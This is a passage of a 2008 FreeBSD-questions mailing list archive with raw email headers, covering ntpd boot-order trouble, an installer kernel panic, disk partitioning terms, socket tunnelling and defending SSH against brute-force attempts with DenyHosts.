helo=Gregory-Larkins-Computer.local) by mail1.sourcehosting.net with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1L817J-000PVJ-FW; Wed, 03 Dec 2008 18:26:50 -0500 Received: from [127.0.0.1] (fireball.entropy.prv [192.168.1.12]) by Gregory-Larkins-Computer.local (Postfix) with ESMTP id 82D342846097; Wed, 3 Dec 2008 18:26:49 -0500 (EST) Message-ID: <493715BA.8050000@FreeBSD.org> Date: Wed, 03 Dec 2008 18:26:50 -0500 From: Greg Larkin Organization: The FreeBSD Project User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: Nerius Landys References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> In-Reply-To: <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> X-Enigmail-Version: 0.95.7 OpenPGP: id=1C940290 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: -1.6 (-) Cc: questions@freebsd.org Subject: Re: named and ntpd start order in rc.d X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: glarkin@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 00:08:18 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Nerius Landys wrote: >> FreeBSD 7.0. I am having a problem when ntpd starts at bootup. It >> continues to have 2 processes running, the process which does the DNS lookup >> fails to exit, and ntpd fails to adjust the clock even after days of >> running. Immediately after bootup and several hours or days later this is >> what I get: >> >> # ps -U root | grep ntpd >> 87837 ?? Ss 0:00.03 /usr/sbin/ntpd -c /etc/ntp.conf -p >> /var/run/ntpd.pid >> 87838 ?? S 0:00.00 /usr/sbin/ntpd -c /etc/ntp.conf -p >> /var/run/ntpd.pid >> >> If I do a "/etc/rc.d/ntpd restart" on a running system it fixes the problem, >> and only one of the ntpd processes remains, and the clock gets adjusted. >> >> I have named running as a caching name server on my system. The contents of >> my /etc/resolv.conf: >> >> domain nerius.com >> nameserver 127.0.0.1 >> >> My /etc/rc.conf: >> >> ... >> named_enable="YES" >> ntpd_enable="YES" >> ... >> >> I believe that the problem with ntpd is that named is started AFTER ntpd. >> >> Trying to reproduce problem. On a running system. I shut down named. Then >> I restart ntpd, then I start named. I can reproduce the problem that >> happens on bootup - ntpd has 2 processes and does not adjust the clock. >> Restarting ntpd while named is running fixes the problem >> >> I believe that the fix for this is to add a dependency to /etc/rc.d/ntpd >> script, adding "named" to "REQUIRE" section in comments. In your opinion, >> is this a robust fix? For example the line in my /etc/rc.d/ntpd script that >> looks like so: >> >> # REQUIRE: DAEMON ntpdate cleanvar devfs >> >> would be changed to this: >> >> # REQUIRE: DAEMON ntpdate cleanvar devfs named > > Modifying /etc/rc.d/ntpd in this manner did not fix the problem. I > still have 2 ntpd processes running indefinitely after bootup of the > system, until I manually issue a "/etc/rc.d/ntpd restart", after which > the ntpd runs fine. As a separate test, I tried adjusting my > resolv.conf to point to an external name server, and I disabled named > at startup, and used the original /etc/rc.d/ntpd. I still got the > same problem - 2 ntpd processes running indefinitely. > > Does anyone know why I'm getting 2 ntpd processes running after bootup > (and ntpd fails to adjust the clock as a result)? Any suggested fix > would be appreciated. Hi Nerius, I don't know why those processes are hung after boot, but in order to troubleshoot the problem, I suggest that you modify the /etc/rc.d/ntpd script to invoke ntpd from truss and log the output to a file, e.g. /tmp/truss.log.$$. Once you've rebooted, kill the processes and post the the log files on a web site somewhere so we can have a look at them. Also, what are the contents of your /etc/ntp.conf file? Best regards, Greg - -- Greg Larkin http://www.FreeBSD.org/ - The Power To Serve http://www.sourcehosting.net/ - Ready. Set. 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(67-207-100-115.static.wiline.com [67.207.100.115]) by mx.google.com with ESMTPS id 26sm5139717qwa.40.2008.12.03.15.48.40 (version=SSLv3 cipher=RC4-MD5); Wed, 03 Dec 2008 15:48:41 -0800 (PST) Message-ID: <49371AD3.5060008@gmail.com> Date: Wed, 03 Dec 2008 15:48:35 -0800 From: Jin Guojun User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.13) Gecko/20071201 X-Accept-Language: en-us, en MIME-Version: 1.0 To: questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Subject: install 6.4 on Dell OPTIPLEX 755 panics X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 00:11:37 -0000 Install 6.4 from DVD on DELL Optiplex 755 (Core 2 DUE E6550 CPU with 2GB memory) always panic at last stage of boot. Is this a hardware specific (this machine only) issue? or is it a known hardware problem for DELL Optiplex 755? Disable ACPI does not help. Also noticed that 6.4 did not detect second core on this machine. -Jin ------------------ md0: Preload image 4423680 bytes at 0xc0bc79dc ad8: 238418MB at ata4-master SATA300 acd0: DVDROM at ata5-master SATA150 acd1: DVDR at ata6-master SATA150 umass0: at uhub6 port 2 (addr 2) disconected Fatal trap 12: page fault while in kernel mode fault virtual address = 0x20 fault code = supervisor read, page not present instruction pointer = 0x20:0xc045d1f6 stack pointer = 0x28:0xe56c8c64 frame pointer = 0x28:0xe56c8c68 code segment = base 0x0, limit 0dffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 1 current process = 11 (swi4: clock sio) trap number = 12 panic: page fault From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 01:27:48 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1327B1065672 for ; Thu, 4 Dec 2008 01:27:48 +0000 (UTC) (envelope-from derek@computinginnovations.com) Received: from betty.computinginnovations.com (mail.computinginnovations.com [64.81.227.250]) by mx1.freebsd.org (Postfix) with ESMTP id C19F28FC1D for ; Thu, 4 Dec 2008 01:27:47 +0000 (UTC) (envelope-from derek@computinginnovations.com) Received: from p28.computinginnovations.com (dhcp-10-20-30-100.computinginnovations.com [10.20.30.100]) (authenticated bits=0) by betty.computinginnovations.com (8.14.2/8.14.2) with ESMTP id mB41Rb3l036710 for ; Wed, 3 Dec 2008 19:27:38 -0600 (CST) (envelope-from derek@computinginnovations.com) Message-Id: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> X-Sender: derek@mail.computinginnovations.com X-Mailer: QUALCOMM Windows Eudora Version 6.0.0.22 Date: Wed, 03 Dec 2008 19:27:20 -0600 To: freebsd-questions@freebsd.org From: Derek Ragona Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Antivirus: avast! (VPS 081203-0, 12/03/2008), Outbound message X-Antivirus-Status: Clean X-Virus-Scanned: ClamAV 0.94.2-exp/8718/Wed Dec 3 07:29:03 2008 on betty.computinginnovations.com X-Virus-Status: Clean X-ComputingInnovations-MailScanner-Information: Please contact the ISP for more information X-MailScanner-ID: mB41Rb3l036710 X-ComputingInnovations-MailScanner: Found to be clean X-ComputingInnovations-MailScanner-From: derek@computinginnovations.com X-Spam-Status: No Subject: what script is whacking root's files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 01:27:48 -0000 I have a freshly installed 7.0 release server. The configuration files (all dot files including .ssh etc.) in /root keep getting deleted. I assume this is from a script running from periodic and can be set NOT to delete these files. Can someone point me where I need to make this change. I have already combed through the handbook and mailing list archives. Thanks, -Derek derek at computinginnovations.com -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 01:34:23 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B540A106564A for ; Thu, 4 Dec 2008 01:34:23 +0000 (UTC) (envelope-from kelly.terry.jones@gmail.com) Received: from yw-out-2324.google.com (yw-out-2324.google.com [74.125.46.28]) by mx1.freebsd.org (Postfix) with ESMTP id 6619E8FC0A for ; Thu, 4 Dec 2008 01:34:23 +0000 (UTC) (envelope-from kelly.terry.jones@gmail.com) Received: by yw-out-2324.google.com with SMTP id 9so1623969ywe.13 for ; Wed, 03 Dec 2008 17:34:22 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type:content-transfer-encoding :content-disposition; bh=0l8LTkl0DlsLv4oegJuCFDmx7YA+xwtB7aB+NP8/BFo=; b=BZe+F9EPbgf+Xn1f+5rDNn+ZmDC1mrlB9evvkkITadu1vTvdDfDnzseRRmfm4Z+thC jdzSc292JkHw8BfoKgOTYc5Y6hlqg1mmCw2ZIUjWsLAmtqudpB0ohK2r2h5tCgVrParm bxsNSeGEZBKVcOYhJbbLga9EWAeyRf8g5PdpA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition; b=SMaC5oN2nkLoHooofwLuoCaJAqc319S66R1Dcy4Qck60AYHqL081sZsbpdGiNTMvwh TgyqOtgWtQl5o42nbeQzmBv4SGxYoPMALIwnEa5gLCOyfIGbaDGdvm3fg070t1Vucf5n kNIunQW2ZFxMZacBHOFKDH9RwljN3buHDfSoU= Received: by 10.64.201.16 with SMTP id y16mr13591570qbf.82.1228354462272; Wed, 03 Dec 2008 17:34:22 -0800 (PST) Received: by 10.64.208.1 with HTTP; Wed, 3 Dec 2008 17:34:22 -0800 (PST) Message-ID: <26face530812031734q6b052fd8if9ae0048ee7dd87@mail.gmail.com> Date: Wed, 3 Dec 2008 18:34:22 -0700 From: "Kelly Jones" To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: Unix domain socket tunnel to TCP on other machine X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 01:34:23 -0000 For mimedefang/clamav purposes, I'm trying to setup a Unix domain socket that tunnels to a TCP port on another machine. For example, if I "telnet -u /var/spool/mysock" on machine X, I want it to be just like doing "telnet Y 25". I've poked around with stunnel and ssh's port forwarding/ControlMaster stuff, but I can't quite get this working. -- We're just a Bunch Of Regular Guys, a collective group that's trying to understand and assimilate technology. We feel that resistance to new ideas and technology is unwise and ultimately futile. From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 01:40:41 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B72361065670 for ; Thu, 4 Dec 2008 01:40:41 +0000 (UTC) (envelope-from ansarm@gmail.com) Received: from rn-out-0910.google.com (rn-out-0910.google.com [64.233.170.185]) by mx1.freebsd.org (Postfix) with ESMTP id 4D9EA8FC1C for ; Thu, 4 Dec 2008 01:40:41 +0000 (UTC) (envelope-from ansarm@gmail.com) Received: by rn-out-0910.google.com with SMTP id j71so3454308rne.12 for ; Wed, 03 Dec 2008 17:40:40 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:from:to:subject:date :message-id:mime-version:content-type:x-mailer:thread-index :content-language; bh=dwaM5ncYa2vWV6KJJD09I4ETS48sDeOpfPeyeGpOY54=; b=ssjlQdia7dFSsiKwJXsqxe3xqbbE+JVCzwMMKHVGAWtXZvVkCQCoJypsqwJwZbhDa6 XlWOo6t43L3wIfd+5un0PHp8ATPfVSu4Ey1UuFoIC4pMt21NC63ofNm+yI3Sy9ukM7qA 4d4kv1xcYaMh5pNHIpGfdNMlJVWtA+mkfyzso= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=from:to:subject:date:message-id:mime-version:content-type:x-mailer :thread-index:content-language; b=SglWNwM68SRUPp4cMCYH8ozr4r5DVbMddrnJm+HXdMyWJaSK4V2wQuYvI0HUsDtivC h5ObxYQTWHRvVIpWj/kjn9vJx6wmCOheyLub1aG/zGjmC8dKY7i2BaBC2i0fcX3Rod8O jVrwAzIu/5XxfDQaZnPNYq7HIjTsBPsaEh4/I= Received: by 10.64.3.5 with SMTP id 5mr13609529qbc.75.1228354839991; Wed, 03 Dec 2008 17:40:39 -0800 (PST) Received: from ansarmm2 (206-248-190-95.dsl.teksavvy.com [206.248.190.95]) by mx.google.com with ESMTPS id k7sm700897qba.26.2008.12.03.17.40.38 (version=SSLv3 cipher=RC4-MD5); Wed, 03 Dec 2008 17:40:38 -0800 (PST) From: "Ansar Mohammed" To: Date: Wed, 3 Dec 2008 20:40:37 -0500 Message-ID: <018e01c955b1$4f532070$edf96150$@com> MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: AclVsU4+PG+sAdpOQjWqkFu8c1qMmw== Content-Language: en-ca Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: mount_smbfs and Kerberos X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 01:40:41 -0000 mount_smbfs on OSX seems to have Kerberos support, does mount_smbfs on FreeBSD support Kerberos? From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 01:43:29 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 974971065672 for ; Thu, 4 Dec 2008 01:43:29 +0000 (UTC) (envelope-from jeffrey@goldmark.org) Received: from out1.smtp.messagingengine.com (out1.smtp.messagingengine.com [66.111.4.25]) by mx1.freebsd.org (Postfix) with ESMTP id 6F83B8FC08 for ; Thu, 4 Dec 2008 01:43:29 +0000 (UTC) (envelope-from jeffrey@goldmark.org) Received: from compute2.internal (compute2.internal [10.202.2.42]) by out1.messagingengine.com (Postfix) with ESMTP id 9C9391CCA75 for ; Wed, 3 Dec 2008 20:43:28 -0500 (EST) Received: from heartbeat2.messagingengine.com ([10.202.2.161]) by compute2.internal (MEProxy); Wed, 03 Dec 2008 20:43:28 -0500 X-Sasl-enc: 5OO8JH1yQ+6a3LkHYyQ+ypYhei0+PBNkEoyXRtCsoZlY 1228355008 Received: from hagrid.ewd.goldmark.org (n114.ewd.goldmark.org [72.64.118.114]) by mail.messagingengine.com (Postfix) with ESMTPSA id 3975B39B1D for ; Wed, 3 Dec 2008 20:43:28 -0500 (EST) Message-Id: From: Jeffrey Goldberg To: FreeBSD Questions Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v929.2) Date: Wed, 3 Dec 2008 19:43:26 -0600 X-Mailer: Apple Mail (2.929.2) Subject: Firewalls using a DNSbl (and distributed ssh attacks) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 01:43:29 -0000 It's not a big issue, but I'm wondering if there is a DNSBl that lists IPs that are engaging in brute force ssh attacks. And if there is such a list, is there a way to integrate that information into a firewall or sshd. As I've said this really isn't a big issue for me, as the brute force attempts at sshd are nothing but an annoyance as I review logs. The attacks that I'm seeing appear to be coordinated and distributed. That is, there will be one attempt on username "fred" from one IP immediately followed by an attempt on "freddy" from another IP followed by an attempt on "fredrick" from a third source and so on. Cheers, -j -- Jeffrey Goldberg http://www.goldmark.org/jeff/ From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 01:46:33 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A3CAE1065670 for ; Thu, 4 Dec 2008 01:46:33 +0000 (UTC) (envelope-from rock_on_the_web@comcen.com.au) Received: from mail.unitedinsong.com.au (202-172-126-254.cpe.qld-1.comcen.com.au [202.172.126.254]) by mx1.freebsd.org (Postfix) with ESMTP id 17EFE8FC17 for ; Thu, 4 Dec 2008 01:46:32 +0000 (UTC) (envelope-from rock_on_the_web@comcen.com.au) Received: from [192.168.0.175] (unknown [192.168.0.175]) by mail.unitedinsong.com.au (Postfix) with ESMTP id 9B3604065 for ; Thu, 4 Dec 2008 11:47:06 +1000 (EST) From: Da Rock To: freebsd-questions@freebsd.org In-Reply-To: <20081202163920.GE90039@gizmo.acns.msu.edu> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> Content-Type: text/plain Date: Thu, 04 Dec 2008 11:47:23 +1000 Message-Id: <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.12.3 (2.12.3-5.fc8) Content-Transfer-Encoding: 7bit Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 01:46:33 -0000 On Tue, 2008-12-02 at 11:39 -0500, Jerry McAllister wrote: > On Tue, Dec 02, 2008 at 11:17:40AM +0100, Polytropon wrote: > > > On Tue, 2 Dec 2008 10:56:44 +0100 (CET), Pieter Donche wrote: > > > If FreeBSD is to put on the system as only operating system (Fdisk: > > > "A = Use Entire disk"), then will the BSD-partitions will show up as > > > ad0a (/), ad0b (swap), ad0d (/var) etc... correct or not (then what)? > > > > You're mixing terminology here. :-) The "use entire disk" will > > create a slice for FreeBSD covering the complete disk. A slice > > is what MICROS~1 calls "primary partition". > > > > Now the conclusion: Let's say you create a slice on ad0, it will > > be ad0s1. Now you can create partitions inside this slice as you > > mentioned it, e. g. ad0s1a = /, ad0s1b = swap, ad0s1d = /tmp, > > ad0s1e = /var, ad0s1f = /usr and ad0s1g = /home. > > True. Too bad MS had to use the same terminology for slices > as FreeBSD uses for subdivisions of slices. But, it won't be > undone now, so the confusion will continue. > > > But if you're > > refering to ad0a, ad0b, ad0d etc. you're stating that there's > > no slice, implying that (if I see this correctly) it isn't possible > > to boot from that disk. > > It is correct that this would imply no slice being created. > But it is not correct that it could not be bootable. You can > use bsdlabel to write the boot sector to ad0 instead of ad0s1 > and it would be bootable - but would be what someone has enjoyed > describing as a 'dangerously dedicated' disk. FreeBSD can deal > with it, but other systems cannot. > > I don't know if you can do this from sysinstall though. I have > never tried. But, it can be done by running bsdlabel by hand. > > > Of couse, if you would intend to use > > a (physical) second disk for only the home partition, you could > > omit the slice and the partition and simply newfs ad1 - but > > that wasn't your question. > > Probably the 'dangerously dedicated' disk is more often used this > way as an additional (second) drive that is not made bootable. > > In that case, it is unlikely that one would mount any of the > partitions on '/' making it the root filesystem. That may > be a problem. But, otherwise this looks probable or more likely > it would have some swap to add to the first disk and all the > rest in either the a or d partitions mounted as something > like '/work' or /scratch'. > > > > > ad0 |-----------------------------------------------| the whole disk > > ad0s1 \----------------------------------------------/ one slice > > ad0s1X \--/\---/\-----/\-----/\-------/\------------/ partitions > > a b d e f g > > / swap /tmp /var /usr /home mount point Excuse my nose in here- I just have a couple of questions. 1) It IS possible to boot from a dedicated disk? 2) Does using dedicated mode increase the space available to use? Partitioning normally takes up space so a HDD loses about 10% of usable space doesn't it, so the space used by partitioning is can now be used as filespace. These questions are all theoretical: I've only read in passing about dedicated mode, but the use of this would be highly specialised by extension. From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 01:56:59 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 56CC51065675 for ; Thu, 4 Dec 2008 01:56:59 +0000 (UTC) (envelope-from roberthuff@rcn.com) Received: from smtp02.lnh.mail.rcn.net (smtp02.lnh.mail.rcn.net [207.172.157.102]) by mx1.freebsd.org (Postfix) with ESMTP id 117E38FC0A for ; Thu, 4 Dec 2008 01:56:58 +0000 (UTC) (envelope-from roberthuff@rcn.com) Received: from mr08.lnh.mail.rcn.net ([207.172.157.28]) by smtp02.lnh.mail.rcn.net with ESMTP; 03 Dec 2008 20:56:58 -0500 Received: from smtp01.lnh.mail.rcn.net (smtp01.lnh.mail.rcn.net [207.172.4.11]) by mr08.lnh.mail.rcn.net (MOS 3.10.3-GA) with ESMTP id KMH84651; Wed, 3 Dec 2008 20:55:14 -0500 (EST) Received: from unknown (HELO jerusalem.litteratus.org.litteratus.org) ([209.6.22.188]) by smtp01.lnh.mail.rcn.net with ESMTP; 03 Dec 2008 20:55:11 -0500 From: Robert Huff MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <18743.14461.951431.581673@jerusalem.litteratus.org> Date: Wed, 3 Dec 2008 20:55:09 -0500 To: Da Rock In-Reply-To: <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> X-Mailer: VM 7.17 under 21.5 (beta28) "fuki" XEmacs Lucid X-Junkmail-Whitelist: YES (by domain whitelist at mr08.lnh.mail.rcn.net) Cc: freebsd-questions@freebsd.org Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 01:56:59 -0000 Da Rock writes: > Excuse my nose in here- I just have a couple of questions. > > 1) It IS possible to boot from a dedicated disk? Yes. Can't remember the last time I used anything else. > 2) Does using dedicated mode increase the space available to use? > Partitioning normally takes up space so a HDD loses about 10% of > usable space doesn't it, so the space used by partitioning is can > now be used as filespace. Not really; certainly not in the scale of state of the market drives. Robert Huff From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 02:44:41 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2F95F1065675 for ; Thu, 4 Dec 2008 02:44:40 +0000 (UTC) (envelope-from kris@FreeBSD.org) Received: from dhcp-172-29-11-40.kir.corp.google.com (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id CEB738FC0C; Thu, 4 Dec 2008 02:44:40 +0000 (UTC) (envelope-from kris@FreeBSD.org) Message-ID: <49374418.6060709@FreeBSD.org> Date: Wed, 03 Dec 2008 18:44:40 -0800 From: Kris Kennaway User-Agent: Thunderbird 2.0.0.18 (Macintosh/20081105) MIME-Version: 1.0 To: Derek Ragona References: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> In-Reply-To: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: what script is whacking root's files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 02:44:41 -0000 Derek Ragona wrote: > I have a freshly installed 7.0 release server. The configuration files > (all dot files including .ssh etc.) in /root keep getting deleted. I > assume this is from a script running from periodic and can be set NOT to > delete these files. Can someone point me where I need to make this > change. I have already combed through the handbook and mailing list > archives. There is no such standard script in FreeBSD. Kris From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 02:54:02 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 802F9106564A for ; Thu, 4 Dec 2008 02:54:02 +0000 (UTC) (envelope-from danielby@slightlystrange.org) Received: from mtaout02-winn.ispmail.ntl.com (mtaout02-winn.ispmail.ntl.com [81.103.221.48]) by mx1.freebsd.org (Postfix) with ESMTP id 08D398FC13 for ; Thu, 4 Dec 2008 02:54:01 +0000 (UTC) (envelope-from danielby@slightlystrange.org) Received: from aamtaout02-winn.ispmail.ntl.com ([81.103.221.35]) by mtaout02-winn.ispmail.ntl.com (InterMail vM.7.08.04.00 201-2186-134-20080326) with ESMTP id <20081204025400.EWLX1717.mtaout02-winn.ispmail.ntl.com@aamtaout02-winn.ispmail.ntl.com> for ; Thu, 4 Dec 2008 02:54:00 +0000 Received: from catflap.slightlystrange.org ([82.21.101.171]) by aamtaout02-winn.ispmail.ntl.com (InterMail vG.2.02.00.01 201-2161-120-102-20060912) with ESMTP id <20081204025400.GRQN21638.aamtaout02-winn.ispmail.ntl.com@catflap.slightlystrange.org> for ; Thu, 4 Dec 2008 02:54:00 +0000 Received: by catflap.slightlystrange.org (Postfix, from userid 106) id 1B71F613F; Thu, 4 Dec 2008 02:53:58 +0000 (GMT) Received: from torus.slightlystrange.org (torus.slightlystrange.org [10.1.3.50]) by catflap.slightlystrange.org (Postfix) with SMTP id A25266133 for ; Thu, 4 Dec 2008 02:53:57 +0000 (GMT) Received: by torus.slightlystrange.org (sSMTP sendmail emulation); Thu, 4 Dec 2008 02:53:57 +0000 From: "Daniel Bye" Date: Thu, 4 Dec 2008 02:53:57 +0000 To: FreeBSD Questions Message-ID: <20081204025357.GD19575@torus.slightlystrange.org> Mail-Followup-To: FreeBSD Questions References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="10jrOL3x2xqLmOsH" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.3i X-PGP-Fingerprint: D349 B109 0EB8 2554 4D75 B79A 8B17 F97C 1622 166A X-Operating-System: FreeBSD 7.1-PRERELEASE i386 X-Cloudmark-Analysis: v=1.0 c=1 a=SMUadleZDFQA:10 a=9jCXX4eCVjEA:10 a=ehNlctqhnw0A:10 a=OjOylbvFfjOF8RcauBYA:9 a=xbZC19_8auN6vMK69WYA:7 a=M884Xh6Upt3SgHkCP-sbUOmw4HsA:4 a=LY0hPdMaydYA:10 a=dy-bp9KF4kQMBqT3HY0A:9 a=fcLQ5G2tbbVwjo4PUZ2HZ7cmEF0A:4 a=rPt6xJ-oxjAA:10 Subject: Re: Firewalls using a DNSbl (and distributed ssh attacks) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Daniel Bye List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 02:54:02 -0000 --10jrOL3x2xqLmOsH Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Dec 03, 2008 at 07:43:26PM -0600, Jeffrey Goldberg wrote: > It's not a big issue, but I'm wondering if there is a DNSBl that lists = =20 > IPs that are engaging in brute force ssh attacks. And if there is =20 > such a list, is there a way to integrate that information into a =20 > firewall or sshd. >=20 > As I've said this really isn't a big issue for me, as the brute force =20 > attempts at sshd are nothing but an annoyance as I review logs. >=20 > The attacks that I'm seeing appear to be coordinated and distributed. = =20 > That is, there will be one attempt on username "fred" from one IP =20 > immediately followed by an attempt on "freddy" from another IP =20 > followed by an attempt on "fredrick" from a third source and so on. I don't know of any DNSbl type service, but I am using DenyHosts with very great success. Its synchronisation feature allows participating instances of the script to share IP addresses of misbehaving hosts, so as soon as an address hits the database, it's only a matter of an hour or so before your instance can start blocking it. The basic setup uses TCP wrappers to block offending hosts, but I am using the datafile it maintains as a file-based table in pf, which I reload periodically from a cronjob. Dan --=20 Daniel Bye _ ASCII ribbon campaign ( ) - against HTML, vCards and X - proprietary attachments in e-mail / \ --10jrOL3x2xqLmOsH Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk3RkUACgkQixf5fBYiFmonhgCgslPAyIXD1ARigWJnB5x2PBZO BoEAmgPejzMk4uNU1qPnRkaaSn4eAfku =6/K7 -----END PGP SIGNATURE----- --10jrOL3x2xqLmOsH-- From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 03:12:21 2008 Return-Path: Delivered-To: FreeBSD-Questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F34CC106564A for ; Thu, 4 Dec 2008 03:12:21 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from igloo.linux.gr (igloo.linux.gr 